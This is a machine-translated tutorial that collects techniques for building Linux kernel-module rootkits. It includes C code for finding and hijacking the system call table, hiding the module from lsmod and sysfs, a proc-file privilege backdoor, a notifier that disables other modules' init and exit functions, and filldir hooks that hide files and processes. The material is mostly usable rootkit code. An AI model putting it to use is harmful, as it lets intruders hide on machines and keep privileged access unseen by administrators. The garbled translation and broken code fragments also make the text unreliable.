Brief introduction
Collect about linux lkm rootkit to some common tips
1, the system call hijacking
Traversal address space
The system calls some export functions, such as the address to find sys_close
unsigned long ** get_sys_call_table(void) { unsigned long **entry = (unsigned long **)PAGE_OFFSET; for (;(unsigned long)entry < ULONG_MAX; entry += 1) { if (entry[__NR_close] == (unsigned long *)sys_close) { return entry; } } return NULL; }
This address is required to determine the export function, so as to obtain the address
According to IDT address, find the interrupt handler, and then find the pattern according to which the system call table
In i386 machine, using the following code table system call
call *sys_call_table(,%eax,4)
This instruction binary code
0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>
Then according to 0xff 0x14 0x85 these three signatures to look for the address table
IDTR idtr; interrupt_descriptor *IDT, *sytem_gate; asm("sidt %0" : "=m" (idtr)); IDT = (interrupt_descriptor *) idtr.base_addr; system_gate = &IDT[0x80]; sys_call_asm = (char *) ((system_gate->off2 << 16) | system_gate->off1); for (i = 0; i < 100; i++) { if (sys_call_asm[i] == (unsigned char) 0xff && sys_call_asm[i+1] == (unsigned char) 0x14 && sys_call_asm[i+2] == (unsigned char) 0x85) *guessed_sct = (unsigned int *) *(unsigned int *) &sys_call_asm[i+3]; }
According to find system.map
Located System.map / boot directory, compile-time raw kernel symbol table content
Looking directly address sys_call_table in this document
Kernel kallsym looking symbolic address
The kernel symbol table address inquiries function directly on it
// function query symbol table static int khook_lookup_cb ( Long Data [], const char * name, void * Module1, Long addr) { int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) { if (!name[i++]) return !!(data[1] = addr); } return 0; } /* Use kallsyms_on_each_symbol can query the symbol table, only you need to pass the query function on it data [0] indicates the address to be queried data [1] shows the results */ static void *khook_lookup_name(const char *name) { long data[2] = { (long)name, 0 }; kallsyms_on_each_symbol((void *)khook_lookup_cb, data); return (void *)data[1]; }
Inline hook
Replace the front part of the kernel code to realize the functions of other core logic hijacking
Specific can be seen here: https://www.cnblogs.com/likaiming/p/10970543.html
System dispatch routines tampering
In the process the entire system call, jump to the address modification sys_call_table, and then jump to the custom forgery system call table, so that the system call hijacking may also be implemented
Analog system calls
Write a piece of code, used sys_call_table, then use objdump View Address
#include <stdio.h> void fun1() { printf("fun1/n"); } void fun2() { printf("fun2/n"); } unsigned int sys_call_table[2] = {fun1, fun2}; int main(int argc, char **argv) { asm("call *sys_call_table(%eax,4"); }
Search is implemented by the system call table of / dev / kmem access memory
In this way unity and previous memory address search, the need for a signature, for example, 0xff 0x14 0x85
kprobes
It works as follows:
1. The user specifies a point of detection, and associate a user-defined function to process the detection point 2. When registration point probe, the probe instruction function codes are to be replaced, is replaced with int instruction code 3 3. In performing abnormality int 3, call the exception handler kprobe chain by way of the notification 4. abnormal function kprobe out, it is determined whether there pre_handler hook there is executed 5. After the execution, ready to enter the single-step debugging, by setting the flag bit EFLAGS of TF, and the address of the exception return instruction to modify the original code is stored 6. The code returns, execution of the original instruction after the execution triggers one-step exception 7. abnormality in a single step process, the single step flag is cleared, execution post_handler process, and finally returns
LSM hook technology
LSM modified hook function, i.e. the function pointer of the global table security_ops
2, Hidden Module
Delete global module list
lsmod command is to obtain the system module information currently through the / proc / modules, and / proc / modules in the current system module information is the header kernel using struct modules structured body traversing kernel module list, from the struct module structure for all modules the access to relevant information module to get. Struct module structure representative of a kernel module in the kernel. By insmod (the actual execution init_module system call) to write your own kernel modules when inserted into the kernel, the module will be with a struct module structure associated with, and become part of the kernel, all kernel modules are maintained in a global list, the list head is a global variable struct module * modules. Any newly created module, will be added to the head of the list, by modules-> next, you can refer to. In order for our module disappear in the lsmod command output, we need to remove our module in this list
Hidden from sysfs module
In addition to the lsmod command and the corresponding viewing / proc / modules, we also may be in sysfs, that is, by looking at / sys / module / directory to find an existing module
This problem is also solved, add a line of code in the initialization function can solve the problem
kobject_del(&THIS_MODULE->mkobj.kobj);
From the perspective of hidden files hidden module
As mentioned earlier, the user mode information is read module proc / modules and sys / modules, hide the file can be used to hide the information of the two documents
3, the back door
Improve process using proc file permissions
Create a proc file (of course, the last to hide), and then customize write file_operation in, to extract privileges
Netfilter filter into the system using the network packet, the network control system to do special packet field
4, to prevent loading of other modules
Registration or cancellation notification handler module can be used register_module_notifier
orunregister_module_notifier
Write a notification handler, then fill struct notifier_block
the structure, using the last register_module_notifier
registered on it
int module_notifier(struct notifier_block *nb, unsigned long action, void *data); struct notifier_block nb = { .notifier_call = module_notifier, .priority = INT_MAX };
Handler which then change the permissions
int fake_init(void); void fake_exit(void); int module_notifier(struct notifier_block *nb, unsigned long action, void *data) { struct module *module; unsigned long flags; // 定义锁。 DEFINE_SPINLOCK(module_notifier_spinlock); module = data; fm_alert("Processing the module: %s\n", module->name); // save interrupt status locked. spin_lock_irqsave (& module_notifier_spinlock, the flags); Switch (module-> State) { Case MODULE_STATE_COMING: fm_alert("Replacing init and exit functions: %s.\n", Module1 -> name); // sly: initial function module tampered with exit function. module-> the init = fake_init; module->exit = fake_exit; break; default: break; } // resume the interrupted state is unlocked. spin_unlock_irqrestore (& module_notifier_spinlock, the flags); return NOTIFY_DONE; } int fake_init(void) { fm_alert("%s\n", "Fake init."); return 0; } void fake_exit(void) { fm_alert("%s\n", "Fake exit."); return; }
5, hidden files
To hide files, we may wish to look for file traversal, which is a system call getdents
/ getdents64
, briefly browse it in the source kernel mode service function (sys_getdents) is (located fs/readdir.c
), we can see the following call hierarchy, sys_getdents
-> iterate_dir
-> struct file_operations
Lane iterate
-> here omitted a number of levels -> struct dir_context
Lane actor
, that is,filldir
filldir
Responsible for a record (such as a file or directory in a subdirectory) returned to fill the buffer. If we are off the hook filldir
, and our hook function to be in there for certain records directly discarded, do not fill the buffer, the upper function and application will not receive the record, she does not know that the file or folder existence, and also to achieve a hidden file.
Specifically, our hidden logic is as follows: tamper root directory (ie "/") of iterate
our false iterate
, false function in the struct dir_context
Lane actor
replace our false filldir
, false filldir
will need to filter out the hidden files.
int fake_iterate(struct file *filp, struct dir_context *ctx) { // backup really `` filldir``, to prepare for later needs. = the ctx- real_filldir> the Actor; // the `` struct dir_context`` in the actor`` ``, // is really filldir`` `` // replace our false filldir`` `` * (filldir_t *) & ctx-> = the Actor fake_filldir; return real_iterate(filp, ctx); } int fake_filldir(struct dir_context *ctx, const char *name, int namlen, loff_t offset, u64 ino, unsigned d_type) { IF (strncmp (name, SECRET_FILE, strlen (SECRET_FILE)) == 0 ) { // If you want to hide the file directly back, do not fill the buffer. fm_alert ( " Hiding:% S " , name); return 0 ; } /* pr_cont("%s ", name); */ // If not need to hide files, // to really `` filldir`` this record to fill the buffer. return real_filldir (CTX, name, namlen, offset, iNO, d_type); }
Spoken Hiroshi
# define set_f_op(op, path, new, old) \ do { \ struct file *filp; \ struct file_operations *f_op; \ \ fm_alert("Opening the path: %s.\n", path); \ filp = filp_open(path, O_RDONLY, 0); \ if (IS_ERR(filp)) { \ fm_alert("Failed to open %s with error %ld.\n", \ path, PTR_ERR(filp)); \ old = NULL; \ } else { \ fm_alert("Succeeded in opening: %s\n", path); \ f_op = ( struct file_operations *) filp-> f_op; \ old = f_op-> on; \ \ fm_alert("Changing iterate from %p to %p.\n", \ old, new); \ disable_write_protection(); \ f_op -> on = new ; \ enable_write_protection(); \ } \ } while(0)
For example, the following code so call
void *dummy; set_file_op(iterate, "/", real_iterate, dummy);
6, hidden processes
On pure Linux user mode enumeration process and obtain information, / proc is the only place to go. So, for user mode hidden processes, we can hide / proc following directory so that the user can state the enumeration process will come out under our control. Readers should now understand why the little hidden file is the main focus.
int fake_filldir(struct dir_context *ctx, const char *name, int namlen, loff_t offset, u64 ino, unsigned d_type) { char *endp; long pid; // string becomes long integer. = simple_strtol PID (name, & ENDP, 10 ); IF (pid == SECRET_PROC) { // we need hidden processes, direct return. fm_alert ( " Hiding PID:% LD " , PID); return 0 ; } /* pr_cont("%s ", name); */ // not need to hide the process, to really `` filldir`` to fill the buffer. return real_filldir (CTX, name, namlen, offset, iNO, d_type);
7, hidden ports
, In fact, read the user process to the user mode hidden port / proc following documents when acquiring port information, the need to hide the contents of the port to filter out, so that user processes read the contents of which we do not want to hide the port. Specifically, look at the following table. Network type / proc file kernel source code files to achieve the main function TCP / IPv4 /proc/net/tcp net/ipv4/tcp_ipv4.c tcp4_seq_show TCP / IPv6 /proc/net/tcp6 net/ipv6/tcp_ipv6.c tcp6_seq_show UDP / IPv4 /proc/net/udp net/ipv4/udp.c udp4_seq_show UDP / IPv6 /proc/net/udp6 net/ipv6/udp.c udp6_seq_show